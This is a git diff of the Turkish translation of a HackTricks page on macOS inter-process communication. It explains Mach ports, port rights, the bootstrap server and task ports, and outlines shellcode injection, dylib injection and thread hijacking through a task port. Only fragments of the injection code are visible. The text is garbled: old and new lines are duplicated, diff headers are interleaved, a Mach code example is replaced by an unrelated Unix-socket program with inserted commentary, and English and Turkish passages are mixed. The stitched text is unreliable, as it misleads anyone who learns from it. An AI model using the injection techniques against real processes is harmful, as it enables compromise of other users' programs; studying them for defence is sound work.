**Mach mesajlarının bir \_mach bağlantı noktası üzerinden gönderildiğini** unutmayın, bu, mach çekirdeğine yerleştirilmiş **tek alıcı**, **çoklu gönderen** iletişim kanalıdır. **Birden fazla işlem**, bir mach bağlantı noktasına **mesaj gönderebilir**, ancak herhangi bir anda yalnızca **bir işlem** ondan **okuyabilir**.
{% endhint %}
### Bağlantı Noktalarını Sırala**
### Bağlantı Noktalarını Sırala
```bash
lsmp -p <pid>
```
Bu aracı iOS'e [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) adresinden indirerek yükleyebilirsiniz.
iOS'ta bu aracı indirerek yükleyebilirsiniz [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
### Kod örneği
**Gönderici**nin nasıl bir bağlantı noktası tahsis ettiğine, `org.darlinghq.example` adı için bir **gönderme hakkı** oluşturduğuna ve bunu **önyükleme sunucusuna** gönderdiğine dikkat edin, gönderici bu adın **gönderme hakkını** istedi ve bunu kullanarak bir **mesaj gönderdi**.
**Gönderici**nin nasıl bir bağlantı noktası tahsis ettiğine, `org.darlinghq.example` adı için bir **gönderme hakkı** oluşturduğuna ve bunu **önyükleme sunucusuna** gönderdiğine dikkat edin, gönderici bu ad için **gönderme hakkını** istedi ve bunu kullanarak bir **mesaj gönderdi**.
{% tabs %}
{% tab title="receiver.c" %}
@ -184,53 +184,19 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
```
{% endtab %}
{% tab title="sender.c" %}
{% tab title="sender.c" %}Dosya Açıklaması
----------------
### sender.c
Bu dosya, bir IPC örneği için gönderici uygulamasını içerir. Bu uygulama, bir mesaj oluşturur ve bu mesajı alıcı uygulamasına iletmek için IPC kullanır.
Bu basit bir örnek C programıdır. Bu program, bir mesaj oluşturur ve bu mesajı bir Unix domain soket aracılığıyla alıcıya gönderir.
Kod Açıklaması
--------------
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
Bu bölümde, gönderici uygulamanın kodu bulunmaktadır. Kod, bir mesaj oluşturur ve bu mesajı alıcı uygulamasına göndermek için IPC'yi kullanır. Bu işlem, inter-process communication (IPC) konseptini anlamak için yararlı bir örnektir.
#define SOCKET_PATH "/tmp/ipc_socket"
IPC, farklı süreçler arasında veri iletişimini sağlayan bir mekanizmadır. Bu örnekte, IPC kullanılarak gönderici ve alıcı uygulamalar arasında iletişim kurulmaktadır.
int main() {
struct sockaddr_un addr;
int sockfd;
sockfd = socket(AF_UNIX, SOCK_STREAM, 0);
if (sockfd == -1) {
perror("socket error");
exit(EXIT_FAILURE);
}
memset(&addr, 0, sizeof(struct sockaddr_un));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, SOCKET_PATH, sizeof(addr.sun_path) - 1);
if (connect(sockfd, (struct sockaddr*)&addr, sizeof(struct sockaddr_un)) == -1) {
perror("connect error");
exit(EXIT_FAILURE);
}
char* message = "Hello, IPC!";
if (write(sockfd, message, strlen(message)) == -1) {
perror("write error");
}
close(sockfd);
return 0;
}
```
{% endtab %}
Bu dosya, IPC'nin nasıl kullanılabileceğini anlamak için incelenebilir. IPC, macOS ve diğer işletim sistemlerinde yaygın olarak kullanılan bir iletişim yöntemidir. %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
@ -282,22 +248,22 @@ return 1;
printf("Sent a message\n");
}
```
### Ayrıcalıklı Portlar
### Ayrıcalıklı Bağlantı Noktaları
- **Ana bilgisayar portu**: Bir işlem bu porta **Gönderme** ayrıcalığına sahipse, **sistem hakkında bilgi** alabilir (ör. `host_processor_info`).
- **Ana bilgisayar ayrıcalıklı portu**: Bu porta **Gönderme** hakkına sahip bir işlem, bir çekirdek uzantısını yükleme gibi **ayrıcalıklı işlemler** gerçekleştirebilir. Bu izne sahip olmak için **işlem root olmalıdır**.
- **Ana bağlantı noktası**: Bir işlem bu bağlantı noktası üzerinde **Gönderme** ayrıcalığına sahipse, **sistem** hakkında **bilgi alabilir** (örneğin, `host_processor_info`).
- **Ana ayrıcalıklı bağlantı noktası**: Bu bağlantı noktası üzerinde **Gönderme** hakkına sahip bir işlem, bir çekirdek uzantısını yükleme gibi **ayrıcalıklı işlemler** gerçekleştirebilir. Bu izne sahip olmak için **işlem root olmalıdır**.
- Ayrıca, **`kext_request`** API'sını çağırmak için yalnızca Apple ikili dosyalarına verilen **`com.apple.private.kext*`** gibi diğer ayrıcalıklara ihtiyaç vardır.
- **Görev adı portu:** _Görev portu_ nun ayrıcalıksız bir sürümüdür. Görevi referans alır, ancak kontrol etmeye izin vermez. Yalnızca üzerinden `task_info()` işlemi yapılabilir gibi görünmektedir.
- **Görev portu** (ayrıca çekirdek portu olarak da bilinir)**:** Bu porta **Gönderme** izni ile sahip olan kişi görevi kontrol edebilir (bellek okuma/yazma, iş parçacığı oluşturma...).
- **Çağıran görev için bu portun adını almak** için `mach_task_self()` çağrısını yapın. Bu port yalnızca **`exec()`** işlemi sırasında **miras alınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev portu alır (özel bir durum olarak, bir görev `exec()` işleminden sonra yeni bir görev portu alır). Bir görev oluşturmak ve portunu almanın tek yolu, `fork()` işlemi sırasında ["port takası dansını"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) gerçekleştirirken bir görev oluşturmaktır.
- Bu porta erişim kısıtlamaları (binary `AppleMobileFileIntegrity`'den `macos_task_policy` üzerinden):
- Uygulamanın **`com.apple.security.get-task-allow` ayrıcalığı** varsa, **aynı kullanıcıdan gelen işlemler görev portuna erişebilir** (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** işlemi bunu üretim sürümlerine izin vermez.
- **`com.apple.system-task-ports`** ayrıcalığına sahip uygulamalar, çekirdek hariç **herhangi bir** işlemin **görev portunu alabilir**. Eski sürümlerde **`task_for_pid-allow`** olarak adlandırılıyordu. Bu yalnızca Apple uygulamalarına verilir.
- **Root, sertifikalı çalışma zamanı olmayan** (ve Apple'dan olmayan) uygulamaların görev portlarına erişebilir.
- **Görev adı bağlantı noktası**: _Görev bağlantı noktasının_ ayrıcalıksız bir sürümüdür. Görevi referans alır, ancak kontrol etmeye izin vermez. Yalnızca üzerinden `task_info()` işleviyle erişilebilecek şey budur.
- **Görev bağlantı noktası** (ayrıca çekirdek bağlantı noktası olarak da bilinir)**:** Bu bağlantı noktası üzerinde **Gönderme** izniyle görevi kontrol etmek mümkündür (belleği okuma/yazma, iş parçacıkları oluşturma...).
- **Çağıran görev için bu bağlantı noktasının adını almak** için `mach_task_self()` işlevini çağırın. Bu bağlantı noktası yalnızca **`exec()`** işlemi sırasında **miras alınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev bağlantı noktası alır (`exec()` işleminden sonra bir suid ikili dosyada bir görev de yeni bir görev bağlantı noktası alır). Bir görevi başlatmak ve bağlantı noktasını almanın tek yolu, `fork()` işlemi sırasında ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) işlemini gerçekleştirirken yapmaktır.
- Bu bağlantı noktasına erişim kısıtlamaları (binary `AppleMobileFileIntegrity` içinden `macos_task_policy` üzerinden):
- Uygulamanın **`com.apple.security.get-task-allow` ayrıcalığı** varsa, aynı kullanıcıdan işlemler görev bağlantı noktasına erişebilir (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** işlemi bunu üretim sürümlerine izin vermez.
- **`com.apple.system-task-ports`** ayrıcalığına sahip uygulamalar, çekirdek hariç olmak üzere herhangi bir işlemin **görev bağlantı noktasını alabilir**. Eski sürümlerde **`task_for_pid-allow`** olarak adlandırılıyordu. Bu yalnızca Apple uygulamalarına verilir.
- **Root**, **sıkılaştırılmış** bir çalışma zamanıyla derlenmemiş uygulamaların görev bağlantı noktalarına erişebilir (ve Apple'dan olmayan uygulamalardan).
### Görev Portu Aracılığıyla İş Parçacığına Shellcode Enjeksiyonu
### Görev Bağlantı Noktası Aracılığıyla İş Parçacığına Kabuk Kodu Enjeksiyonu
Shellcode'u aşağıdaki yerden alabilirsiniz:
Kabuk kodunu aşağıdaki yerden alabilirsiniz:
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
@ -338,27 +304,21 @@ return 0;
{% tab title="entitlements.plist" %}
### macOS IPC (Inter-Process Communication)
### macOS IPC (İşlem Arası İletişim)
#### macOS IPC Mechanisms
Bu bölümde, macOS'ta İşlem Arası İletişim (IPC) mekanizmalarını ele alacağız. IPC, uygulamalar arasında iletişim kurmak için kullanılan bir dizi tekniktir ve kötü niyetli aktörlerin saldırıları için bir hedef olabilir. macOS'ta IPC'nin nasıl çalıştığını anlamak, güvenlik açıklarını tespit etmek ve önlem almak için önemlidir. Bu bölümde, macOS IPC'nin temellerini ve güvenlik önlemlerini ele alacağız.
macOS provides several mechanisms for inter-process communication (IPC), including:
IPC türleri şunları içerebilir:
- **Mach Messages**: Low-level messaging system used by the kernel and other system services.
- **XPC Services**: Lightweight inter-process communication mechanism for macOS applications.
- **Distributed Objects**: Apple's legacy IPC mechanism, now deprecated in favor of XPC Services.
- **Apple Events**: High-level IPC mechanism used for automation and scripting.
- Mach IPC
- XPC
- Distributed Objects
- Apple Events
- Distributed Notifications
#### IPC Security Considerations
Bu bölümde, her bir IPC türünü ayrıntılı olarak ele alacağız ve güvenlik önlemleri hakkında ipuçları vereceğiz.
When designing macOS applications that use IPC, consider the following security best practices:
- **Use XPC Services**: Prefer XPC Services for IPC due to its improved security features.
- **Implement Proper Entitlements**: Ensure that your application's entitlements are properly configured to restrict IPC capabilities.
- **Validate Input**: Always validate input received through IPC to prevent injection attacks.
- **Encrypt Communication**: When transmitting sensitive data over IPC, use encryption to protect against eavesdropping.
By following these best practices, you can enhance the security of your macOS applications that utilize IPC.
IPC güvenliği, macOS uygulamalarının güvenliğini artırmak için kritik bir öneme sahiptir ve kötü niyetli kullanıcıların veya yazılımın sisteme zarar vermesini engellemeye yardımcı olabilir.
{% endtab %}
```xml
@ -373,7 +333,7 @@ By following these best practices, you can enhance the security of your macOS ap
{% endtab %}
{% endtabs %}
Önceki programı **derleyin** ve aynı kullanıcıyla kod enjekte etmek için **yetkileri** ekleyin (aksi takdirde **sudo** kullanmanız gerekecektir).
Önceki programı **derleyin** ve aynı kullanıcıyla kod enjekte etmek için **yetkileri** ekleyin (aksi halde **sudo** kullanmanız gerekecektir).
<details>
@ -579,18 +539,18 @@ return 0;
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Görev bağlantısı aracılığıyla thread'e Dylib Enjeksiyonu
### Görev bağlantısı aracılığıyla thread üzerinde Dylib Enjeksiyonu
macOS'ta **thread'ler**, **Mach** veya **posix `pthread` api** kullanılarak manipüle edilebilir. Önceki enjeksiyonda oluşturduğumuz thread, Mach api kullanılarak oluşturulduğundan **posix uyumlu değil**.
Bir komutu çalıştırmak için **basit bir shellcode enjekte etmek mümkündü** çünkü bu, **posix uyumlu api'lerle çalışmayı gerektirmiyordu**, sadece Mach ile çalışıyordu. **Daha karmaşık enjeksiyonlar** için thread'in aynı zamanda **posix uyumlu olması** gerekir.
Bir komutu çalıştırmak için **basit bir shellcode enjekte etmek mümkündü** çünkü bu, **posix uyumlu api'lerle çalışmaya gerek duymuyordu**, sadece Mach ile çalışıyordu. **Daha karmaşık enjeksiyonlar** için thread'in aynı zamanda **posix uyumlu olması** gerekir.
Bu nedenle, thread'i **iyileştirmek** için **`pthread_create_from_mach_thread`** çağrılmalıdır ki bu da **geçerli bir pthread oluşturacaktır**. Daha sonra, bu yeni pthread, özel kütüphaneleri yüklemek için **dlopen**'ı **çağırabilir**. Bu sayede farklı işlemleri gerçekleştirmek için yeni shellcode yazmak yerine özel kütüphaneler yüklenebilir.
Bu nedenle, **thread'i iyileştirmek** için **`pthread_create_from_mach_thread`** çağrılmalıdır ki bu da **geçerli bir pthread oluşturacaktır**. Sonra, bu yeni pthread, özel kütüphaneleri yüklemek için **dlopen**'ı **çağırabilir**, böylece farklı işlemler gerçekleştirmek için yeni shellcode yazmak yerine özel kütüphaneler yüklemek mümkün olacaktır.
Örnek dylib'leri (örneğin, bir log oluşturan ve ardından dinleyebileceğiniz bir dylib):
Örnek dylib'leri (örneğin bir log oluşturan ve ardından dinleyebileceğiniz bir tane) şurada bulabilirsiniz:
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert_libraries.md)
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
<details>
@ -859,7 +819,7 @@ const char *eylem = argv[2];
struct stat buf;
int rc = stat (eylem, &buf);
if (rc == 0) inject(pid,eylem);
if (rc == 0) enjekteEt(pid,eylem);
else
{
fprintf(stderr,"Dylib bulunamadı\n");
@ -872,9 +832,9 @@ fprintf(stderr,"Dylib bulunamadı\n");
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Görev Bağlantısı Aracılığıyla İş Parçacığı Kaçırma <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
### Görev bağlantısı üzerinden İş Parçası Kaçırma <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
Bu teknikte, bir işlemin iş parçacığı kaçırılır:
Bu teknikte, işlemin bir iş parçası kaçırılır:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %}
[macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
@ -884,9 +844,9 @@ Bu teknikte, bir işlemin iş parçacığı kaçırılır:
### Temel Bilgiler
XPC, macOS ve iOS'ta **işlemler arasındaki iletişim** için bir çerçevedir. XPC, sistemin farklı işlemleri arasında **güvenli, asenkron yöntem çağrıları yapma mekanizması** sağlar. Apple'ın güvenlik paradigmasının bir parçası olan XPC, her **bileşenin** sadece işini yapmak için gereken izinlere sahip olduğu **ayrıcalıklı uygulamaların oluşturulmasına** izin verir, böylece bir işlemin tehlikeye girmesinden kaynaklanabilecek potansiyel zararı sınırlar.
XPC, macOS ve iOS üzerindeki işlemler arasındaki iletişim için bir çerçeve olan XNU (macOS tarafından kullanılan çekirdek) arasındaki İşlem İletişimi anlamına gelir. XPC, sistemin farklı işlemler arasında güvenli, asenkron yöntem çağrıları yapma mekanizması sağlar. Bu, Apple'ın güvenlik paradigmasının bir parçası olup, her bileşenin yalnızca işini yapmak için gereken izinlere sahip olarak çalıştığı ayrıcalıkların ayrıldığı uygulamaların oluşturulmasına izin verir, böylece bir işlemin tehlikeye girmesinden kaynaklanabilecek potansiyel zararı sınırlar.
Bu **iletişimin nasıl çalıştığı** ve **neden savunmasız olabileceği** hakkında daha fazla bilgi için şuraya bakın:
Bu **iletişimin nasıl çalıştığı** ve **neden savunmasız olabileceği** hakkında daha fazla bilgi için kontrol edin:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %}
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
@ -894,9 +854,9 @@ Bu **iletişimin nasıl çalıştığı** ve **neden savunmasız olabileceği**
## MIG - Mach Arayüzü Oluşturucusu
MIG, Mach IPC kodu oluşturma sürecini **kolaylaştırmak için oluşturulmuştur**. Temelde, sunucu ve istemcinin belirli bir tanım ile iletişim kurması için **gereken kodu oluşturur**. Oluşturulan kodun çirkin olmasına rağmen, bir geliştirici sadece bunu içe aktarması ve kodu daha önce olduğundan çok daha basit hale getirecektir.
MIG, Mach IPC kodu oluşturma sürecini basitleştirmek amacıyla oluşturulmuştur. Temelde, sunucu ve istemcinin belirli bir tanım ile iletişim kurması için gereken kodu oluşturur. Oluşturulan kodun çirkin olması durumunda bile, bir geliştirici sadece bunu içe aktarması ve kodu öncekinden çok daha basit hale getirecektir.
Daha fazla bilgi için şuraya bakın:
Daha fazla bilgi için kontrol edin:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %}
[macos-mig-mach-interface-generator.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
@ -912,14 +872,14 @@ Daha fazla bilgi için şuraya bakın:
<details>
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek **destekleyin**.
</details>

View file

@ -1,49 +1,49 @@
# macOS IPC - İşlem Arası İletişim
# macOS IPC - Inter Process Communication
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
</details>
## Portlar Aracılığıyla Mach Mesajlaşması
## Mach mesajlaşması Portlar aracılığıyla
### Temel Bilgiler
Mach, kaynakları paylaşmak için **görevleri** en **küçük birim** olarak kullanır ve her görev **çoklu iş parçacığı** içerebilir. Bu **görevler ve iş parçacıkları POSIX işlemleri ve iş parçacıklarıyla 1:1 eşlenir**.
Mach, kaynakları paylaşmak için **görevleri** kullanır ve her görev **çoklu iş parçacığı** içerebilir. Bu **görevler ve iş parçacıkları POSIX işlemlerine ve iş parçacıklarına 1:1 eşlenir**.
Görevler arasındaki iletişim, Mach İşlem Arası İletişim (IPC) aracılığıyla gerçekleşir ve tek yönlü iletişim kanallarını kullanır. **Mesajlar, portlar arasında aktarılır** ve bunlar çekirdek tarafından yönetilen bir tür **mesaj kuyruğu** gibi davranır.
Görevler arasındaki iletişim, Mach Arası İşlem İletişimi (IPC) aracılığıyla gerçekleşir ve tek yönlü iletişim kanallarını kullanır. **Mesajlar portlar arasında aktarılır**, bu portlar çekirdek tarafından yönetilen bir tür **mesaj kuyruğu** gibi davranır.
Bir **port**, Mach IPC'nin temel öğesidir. Bu, **mesaj göndermek ve almak** için kullanılabilir.
Her işlemde bir **IPC tablosu** bulunur ve burada işlemin **mach portları** bulunabilir. Bir mach portun adı aslında bir sayıdır (çekirdek nesnesine işaret eden bir işaretçi).
Her işlemde bir **IPC tablosu** bulunur, burada işlemin **mach portları** bulunabilir. Bir mach portun adı aslında bir sayıdır (çekirdek nesnesine işaret eden bir işaretçi).
Bir işlem ayrıca bir port adını bazı haklarla **farklı bir göreve gönderebilir** ve çekirdek bu girişi **diğer görevin IPC tablosuna ekler**.
### Port Hakları
İletişimde önemli olan port hakları, bir görevin yapabileceği işlemleri tanımlar. Mümkün olan **port hakları** şunlardır ([buradan tanımlamalar](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
İletişimde önemli olan port hakları, bir görevin yapabileceği işlemleri tanımlar. Mümkün olan **port hakları** şunlardır ([buradan tanımlar](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
* **Alma hakkı**, porta gönderilen mesajları almayı sağlar. Mach portları MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da sistem genelinde bir port için yalnızca **bir alma hakkının** olabileceği anlamına gelir (borular gibi, birden çok işlem bir borunun okuma ucuna ait dosya tanımlayıcılarına sahip olabilir).
* **Alma hakkına sahip bir görev**, mesajları alabilir ve **Gönderme hakları oluşturabilir**, böylece mesaj gönderebilir. Başlangıçta yalnızca **kendi görevi, portun üzerinde Alma hakkına sahiptir**.
* **Alma hakkı**, porta gönderilen mesajları almayı sağlar. Mach portları MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da demektir ki tüm sistemde her bir port için yalnızca **bir alma hakkı olabilir** (borular gibi, burada birden fazla işlemin aynı borunun okuma ucuna dosya tanımlayıcıları tutabileceği gibi).
* Bir **Alma hakkına sahip görev**, mesajları alabilir ve **Gönderme hakları oluşturabilir**, böylece mesaj gönderebilir. Başlangıçta yalnızca **kendi görevi kendi portu üzerinde Alma hakkına sahiptir**.
* Alma hakkının sahibi **öldüğünde** veya onu sonlandırdığında, **gönderme hakkı işlevsiz hale gelir (ölü ad)**.
* **Gönderme hakkı**, porta mesaj göndermeyi sağlar.
* Gönderme hakkı **kopyalanabilir**, böylece gönderme hakkına sahip bir görev hakkı kopyalayabilir ve **üçüncü bir göreve verilebilir**.
* Gönderme hakkı **kopyalanabilir**, böylece bir Gönderme hakkına sahip bir görev, hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**.
* **Port hakları** ayrıca Mac mesajları aracılığıyla da **geçirilebilir**.
* **Bir kez gönderme hakkı**, porta bir mesaj göndermeyi ve ardından kaybolmayı sağlar.
* Bu hak **kopyalanamaz**, ancak **taşınabilir**.
* **Port kümesi hakkı**, yalnızca tek bir port değil bir _port kümesini_ belirtir. Bir port kümesinden bir mesaj çıkarmak, içerdiği portlardan birinden bir mesaj çıkarır. Port kümeleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi birkaç porta aynı anda dinlemek için kullanılabilir.
* **Port kümesi hakkı**, yalnızca tek bir port değil bir _port kümesini_ belirtir. Bir port kümesinden bir mesaj çıkarmak, içerdiği portlardan birinden bir mesaj çıkarır. Port kümeleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi aynı anda birkaç porta dinlemek için kullanılabilir.
* **Ölü ad**, gerçek bir port hakkı değil, yalnızca bir yer tutucudur. Bir port yok edildiğinde, portun tüm var olan port hakları ölü adlara dönüşür.
**Görevler, SEND haklarını başkalarına aktarabilir**, böylece onlara geri mesaj gönderme yetkisi verilebilir. **SEND hakları da klonlanabilir**, böylece bir görev hakı kopyalayabilir ve üçüncü bir göreve verebilir. Bu, **aracı bir süreç olan** **başlangıç sunucusu** ile birlikte, görevler arasında etkili iletişim sağlar.
**Görevler, SEND haklarını başkalarına aktarabilir**, böylece onlara geri mesaj gönderme yetkisi verilebilir. **SEND hakları da klonlanabilir**, böylece bir görev hakkı kopyalayabilir ve üçüncü bir göreve verebilir. Bu, **aracı bir süreç olan** **başlangıç sunucusu** ile birlikte, görevler arasında etkili iletişim sağlar.
### Dosya Portları
@ -51,33 +51,33 @@ Dosya portları, dosya tanımlayıcılarını Mac portlarına (Mach port haklar
### İletişim Kurma
Daha önce belirtildiği gibi, Mach mesajları aracılığıyla hakları göndermek mümkündür, ancak **zaten bir mesaj gönderme hakkına sahip olmadan bir hakkı gönderemezsiniz**. Peki, ilk iletişim nasıl kurulur?
Daha önce belirtildiği gibi, Mach mesajları aracılığıyla hakları göndermek mümkündür, ancak **zaten bir Mach mesajı gönderme hakkına sahip olmadan bir hakkı gönderemezsiniz**. Peki, ilk iletişim nasıl kurulur?
Bunun için **başlangıç sunucusu** (**mac'te launchd**) devreye girer, çünkü **herkes başlangıç sunucusuna bir SEND hakkı alabilir**, böylece başka bir işleme mesaj göndermek için bir hakkı istemek mümkündür:
1. Görev **A**, **ALMA hakkı** alarak **yeni bir port oluşturur**.
1. Görev **A**, **YALNIZCA** üzerinde **ALMA hakkına sahip olduğu yeni bir port oluşturur**.
2. ALMA hakkının sahibi olan Görev **A**, port için bir **GÖNDERME hakkı oluşturur**.
3. Görev **A**, **başlangıç sunucusu** ile bir **bağlantı kurar** ve başlangıçta oluşturduğu porta **GÖNDERME hakkını gönderir**.
* Unutmayın ki herkes başlangıç sunucusuna bir GÖNDERME hakkı alabilir.
4. Görev A, başlangıç sunucusuna bir `bootstrap_register` mesajı göndererek verilen porta `com.apple.taska` gibi bir **isimle ilişkilendirir**.
5. Görev **B**, **başlangıç sunucusu** ile etkileşime girerek bir başlangıç **hizmeti için arama yapar** (`bootstrap_lookup`). Başlangıç sunucusu yanıt verebilsin diye, görev B, arama mesajı içinde önceden oluşturduğu bir **port için GÖNDERME hakkı gönderir**. Arama başarılıysa, **sunucu Task A'dan aldığı GÖNDERME hakkını kopyalar ve Task B'ye iletir**.
5. Görev **B**, hizmet adı için bir başlangıç **araması yapmak üzere başlangıç sunucusu** ile etkileşime girer (`bootstrap_lookup`). Başlangıç sunucusu yanıt verebilsin diye, görev B, arama mesajı içinde önceden oluşturduğu bir **port için bir GÖNDERME hakkı gönderir**. Arama başarılıysa, **sunucu Task A'dan aldığı GÖNDERME hakkını kopyalar ve Task B'ye iletir**.
* Unutmayın ki herkes başlangıç sunucusuna bir GÖNDERME hakkı alabilir.
6. Bu GÖNDERME hakkı ile **Görev B**, **Görev A'ya bir mesaj gönderebilir**.
7. İki yönlü iletişim için genellikle görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı içeren yeni bir port oluşturur ve **Görev A'ya GÖNDERME hakkını verir**, böylece Görev A, GÖREV B'ye mesaj gönderebilir (iki yönlü iletişim).
7. İki yönlü iletişim için genellikle görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı olan yeni bir port oluşturur ve **Görev A'ya GÖNDERME hakkını verir**, böylece Görev A, Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
Başlangıç sunucusu, bir görevin iddia ettiği hizmet adını doğrulayamaz. Bu, bir **görevin** potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir, örneğin yanlışlıkla **bir yetkilendirme hizmeti adı iddia edebilir ve ardından her isteği onaylayabilir**.
Başlangıç sunucusu, bir görevin iddia ettiği hizmet adını **kimlik doğrulayamaz**. Bu, bir görevin potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir, örneğin yanlışlıkla **bir yetkilendirme hizmet adı iddia edebilir** ve ardından her isteği onaylayabilir.
